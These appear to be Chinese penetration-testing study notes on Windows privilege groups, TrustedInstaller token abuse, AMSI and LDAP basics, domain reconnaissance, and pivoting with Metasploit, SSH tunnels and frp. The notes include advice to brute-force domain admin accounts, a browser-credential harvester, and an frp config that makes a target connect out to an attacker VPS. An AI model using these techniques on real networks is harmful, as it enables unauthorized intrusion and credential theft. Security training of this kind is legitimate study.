[toc]
0x01.windows权限划分
- System,系统管理员组,系统和系统级的服务正常运行所需要的权限都是靠它赋予的。由于该组只有这一个用户SYSTEM,也许把该组归为用户的行列更为贴切。
- Trustedinstaller,信任安装组,权限高于Administrator,用于管理操作系统底层相关文件操作的组
- Administrators,管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制。所以,只有受信任的人员才可成为该组的成员。
修改cmd(当前用户已经是administrator)
可以看到图中提示需要Trustedinstaller权限(该权限的全名为
NT SERVICE\TrustedInstaller,由于是NT服务,所以我们再用户和组中无法找到该权限),如何获得这个权限。
可以通过Set-NtTokenPrivilege
窃取Trustedinstaller
的本体Trustedinstaller.exe
的 Token,来创建其子进程。在开始之前我们需要保证你的Powershell
版本为 5.0 以上(Windows 10 以上版本已经自带 Powershell 5.0 了,其他版本 Windows 需要进行更新)
具体操作如下:
下载并安装 Set-NtTokenPrivilege 命令所需模块, 首先再系统C盘中创建一个token文件夹, 以管理员的身份运行命令Save-Module -Name NtObjectManager -Path c:\token
,第一次安装如下,等待下载完成
安装所需模块Install-Module -Name NtObjectManager
等待安装结束,输入命令让系统允许我们使用powershell脚本
Set-ExecutionPolicy Unrestricted
然后导入NtObjectManager
模块 ,如下
开始获取Trustedinstaller权限,在Powershell中依次输入
sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
执行完以上命令后系统会打开一个命令提示符,该命令提示符就具有 Trustedinstaller 权限,可以直接修改系统文件。我们可以通过命令whoami /groups /fo list
进行验证,结果如下
看到我们已经获得 Trustedinstaller 权限了,现在就可以通过一些命令修改系统文件了。如果想要更加方便操作,可以通过此 CMD 运行 taskmgr、notepad 等应用,在运行新任务、打开文件的浏览窗口下,进行文件编辑。编辑结束后直接关闭即可。注意!不要使用 CMD 运行 explorer,因为 explorer 无法在当前用户下正常使用。在这之后如果,想要重新获得 Trustedinstaller 权限重新执行以下命令即可:
sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
- Power Users,高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。分配给 Power Users 组的默认权限允许 Power Users 组的成员修改整个计算机的设置。但Power Users 不具有将自己添加到 Administrators 组的权限。在权限设置中,这个组的权限是仅次于Administrators的。
- Users:普通用户组,这个组的用户无法进行有意或无意的改动。因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序。Users 组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料。Users 组提供了一个最安全的程序运行环境。在经过 NTFS 格式化的卷上,默认安全设置旨在禁止该组的成员危及操作系统和已安装程序的完整性。用户不能修改系统注册表设置、操作系统文件或程序文件。Users 可以关闭工作站,但不能关闭服务器。Users 可以创建本地组,但只能修改自己创建的本地组。
- Guests:来宾组,按默认值,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多。
- Everyone:顾名思义,所有的用户,这个计算机上的所有用户都属于这个组。
0x02.windows安全机制
1.uac机制介绍
用户帐户控制(User Account Control)是Windows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序损坏系统,同时也可以帮助组织部署更易于管理的平台。
使用UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
2.amsi介绍
反恶意软件扫描接口(AMSI)是MicrosoftWindows保护系统,由defender调用,旨在保护计算机免受通过脚本语言(例如PowerShell,VBScript,JavaScript等)执行的攻击。
它通过在执行之前分析脚本来工作,以确定该脚本是否为恶意软件。此外,它旨在通过每个评估步骤中递归调用来检测混淆的恶意软件。如果我们使用一个典型的混淆脚本,它们会在内存中自行解码和解压缩,直到准备好执行最终的有效负载为止。
原理:
通过在每个代码评估点(如Invoke-Expression)被调用,AMSI可以检查原始的,模糊的脚本的中间版本和最终版本。以这种方式,避免初始的静态筛选的简单技术不再有效。负责决定是否允许运行脚本的函数称为AmsiScanBuffer。例如,PowerShell将在每次要评估任何PowerShell脚本时调用此函数。AmsiScanBuffer
函数来自amsi.dll
,与所有其他用户空间库一起加载到内存进程中。实际上,amsi.dll
本身是一个用户空间库,其结果是容易受到多种攻击。
3.aslr介绍
ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
4. ldap
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。LDAP目录服务是由目录数据库和一套访问协议组成的系统。
基本模型
目录树概念
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
2. 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。 - 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。
DC、UID、OU、CN、SN、DN、RDN
关键字 | 英文全称 | 含义 |
---|---|---|
dc | Domain Component | 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置) |
uid | User Id | 用户ID songtao.xu(一条记录的ID) |
ou | Organization Unit | 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如“oa组”(一条记录的所属组织) |
cn | Common Name | 公共名称,如“Thomas Johansson”(一条记录的名称) |
sn | Surname | 姓,如“许” |
dn | Distinguished Name | “uid=songtao.xu,ou=oa组,dc=example,dc=com”,一条记录的位置(唯一) |
rdn | Relative dn | 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson” |
使用
一般用于统一身份认证
- 连接到LDAP服务器;
- 绑定到LDAP服务器;
- 在LDAP服务器上执行所需的任何操作;
- 释放LDAP服务器的连接;
0x03.windows域环境下权限管理
宏观理解“权限”一词,即控制的行为范围和可设定属性。
Windows域环境中,所有的权限都保存在域控制器中的活动目录里。
实战中有两种方式能获得权限。
一:获得域控权限并修改域控中的活动目录里的权限
二:在域成员机器中寻找域控曾经登录过的账号密码获得权限
在windows域环境中,单个的域成员提到system权限只能代表我们具有其中一个域成员的权限,我们下一步是要找到域控制器获得域控制器的权限或者域内的其他机器的权限
实战中的流程:
1.找到域控ip,然后用传统方式漏洞扫描+利用拿下shell,然后手动提权然后找到活动目录
2.利用域环境的认证协议获得域控的命令执行权限
3.利用域环境下的组件漏洞
4.直接获得密码
0x04.windows域环境下的信息收集
ipconfig /all
这里我们主要是查看dns是否是指向某个具体的位置以确定是否调用了dns服务
如果存在,那么至少可以确定是有dns解析服务器的存在的
如果是私有域(也就是dns不是解析的公网上存在的域名)。那么指向的dns我们可以直接查看ip地址作为dns或者域控制器的存在位置
实战中云环境下可能会存在dns转发到云环境路由的这种情况,遇到这种情况可以直接当作私有域处理
net time /domain
这里可以直接显示出当前计算机名称和域的名称,如果是工作组会直接显示“找不到域控制器”这句话或者(错误5:这台机器有域用户但是当前用户不是域用户)
这是实战中最常用的判断域环境的操作,由于不会调用任何敏感操作所以基本也不会被拦截
而且这一步可以直接ping一下显示出来的域控制器的名称会直接得到一个ip地址
ping lab.local
当然这里也有个简单操作,前提是得知域名的情况下:
Nslookup -type=SRV _ldap._tcp.dc._msdcs.域名
利用ldap的tcp连接测试来直接找到域控制器的ip地址
查看当前计算机信息
systeminfo
中间会直接显示存在域和域的名称
做完上述几步就可以判断是否是处在域环境,如果存在,那么实战中直接去找dns的ip就可以直接认定为我们的域控ip(原因参考域环境搭建)
接下来可以尝试跳过继续搜集信息的步骤做一下直接攻击域控的操作:
1.找到域控ip(出不出网,如果不出网端口转发等)
2.寻找域控ip的端口信息和操作系统信息
3.根据端口信息和操作系统信息做漏洞扫描
4.漏洞利用拿下域控制器
找到域控制器下的域管理账号名称
net group "domain admins" /domain
如果成功找到就可以使用暴力破解的方法 (推荐先在3389试试然后再用其他方法连接) 尝试是否存在弱密码(这里的弱密码字典一定要根据之前提到的域环境搭建的时候讲的密码规范来做,也就是密码的位数,字母和数字,大小写等)
查询域成员的计算机名称
net group "doamin computers" /domain
查询域用户
net user /domain
用户名和计算机名称是我们作为内网情况下登录对方3389或者使用其他工具连接控制机器所必要的参数
查看共享目录
net share
拿到这个信息我们就可以在之后的拿域控器的过程中测试我们是否得到了域控制器的权限作业要求
0x05.域收集工具
1.wmic_info
官方工具,动作比较大。会显示一些基本的计算机信息,在域环境中主要是查看各个组的权限存在在哪个域判断大概安装了哪些服务
如果存在证书颁发机构或者服务那么基本确定是存在adcs服务(域环境下的证书服务),这时候我们实战中就可以使用下面的工具重点找web浏览器的保存密码这类的东西了
2.hackbrosedata
会找到浏览器中保存的信息如账号密码等
3.bloodhound使用(提示:2012以下版本都用不了)
基于CS服务的,需要在攻击机上安装
apt-get install neo4j
apt-get install bloodhound
//启动
neo4j console
//浏览器访问
127.0.0.1:7474/browser
默认登陆: neo4j/neo4j
//新建窗口启动bloodhound
bloodhound
目标机器上运行sharphound
收集信息,下载收集到的zip文件到攻击机上,导入到bloodhound
4.powersploit
kail中直接键入powersploit,可直接进入到文件夹中,获取文件夹路径
进入msf,进入一个session,进行以下操作(使用powersploit中的powerview)
powerview相关命令
Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。
cupp
powersploit中用于域控暴力破解的工具
工具所在路径
/usr/share/windows-resources/powersploit/AntivirusBypass
0x06.代理工具
1.msf代理
利用pivot
利用pivot可直接把机器代理到受害者的内网环境,是msf常用的一种代理方式
在meterpreter中用route先查看目
用background
退出当前的会话,使用route add 172.16.0.0 255.255.255.0 4
添加一条路由信息,后续所有向172.16.115.0
的流向都会走session 4
的代理
使用socks+proxychain
首先使用pivot等手段设置好路由
然后使用use auxiliary/server/socks_proxy
开启代理服务器。
最后再proxychain配置文件中配置好地址,然后使用proxychain执行命令
2.ssh隧道
SSH正向代理
使用ssh -L
的命令
-l login_name Specifies the user to log in as on the remote machine.
攻击机a连接目标公网服务器b,,同时将内网主机t的8001端口转发到攻击机a 的8001端口上
ssh -L a:8001:t:8001 root@b -p 22
# -L a是攻击机的IP,可省略不写
# 需要知道公网服务器ssh账户名和密码
转发成功后,在攻击机a中访问本机的8001端口,通过公网服务器b的ssh服务的端口转发后,实际访问的就是目标服务器t的8001端口。注意,在进行转发的时候语句L后面的IP省略不写,那么访问127.0.0.1:8001即可,如果写了IP,就必须访问IP地址:ip:8001
ssh配置socket代理
ssh -D 8081 root@DMZ主机地址 -p 22
-D [bind_address:]port 动态应用级端口转发。 这会分配一个套接字来侦听本地端的端口。当与该端口建立连接时,该连接将通过安全通道转发。
- 连接成功后,本地会开启一个8081端口,这时就可以配置proxychain后,使用proxychain来扫描内网了
proxychains nmap 192.168.1.1/24
# 使用proxychains工具驱动nmap扫描内网。通过socks代理扫描到本身扫描不到的内网网段
3.frp
项目地址:https://github.com/fatedier/frp/releases
VPS服务端配置
- 配置
frps.ini
文件
[common]
bind_port = 7000 # 表示用于客户端和服务端连接的端口
dashboard_port = 7500 # 是服务端仪表板的端口
token = hacker # token是用于客户端和服务端连接的口令
# dashboard_user、dashboard_pwd分别表示打开仪表板页面登录的用户名和密码
dashboard_user = admin
dashboard_pwd = admin
- 运行启动监听
./frps -c ./frps.ini
#也可以使用nohup命令将其运行在后台
nohup ./frps -c frps.ini &
目标机配置
- VPS服务端监听成功后, 配置目标机,让目标机主动连接VPS服务器
修改frpc.ini
文件
[common]
#服务端IP
server_addr = 192.168.11.33
#服务端端口
server_port = 7000
#token值
token = hacker
[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7001
- 运行连接
cd C:\frp
frpc.exe -c frpc.ini
通过配置已经将内网的3389端口转发到vps的7001端口。此时远程连接vps的7001即可远程连接内网的3389主机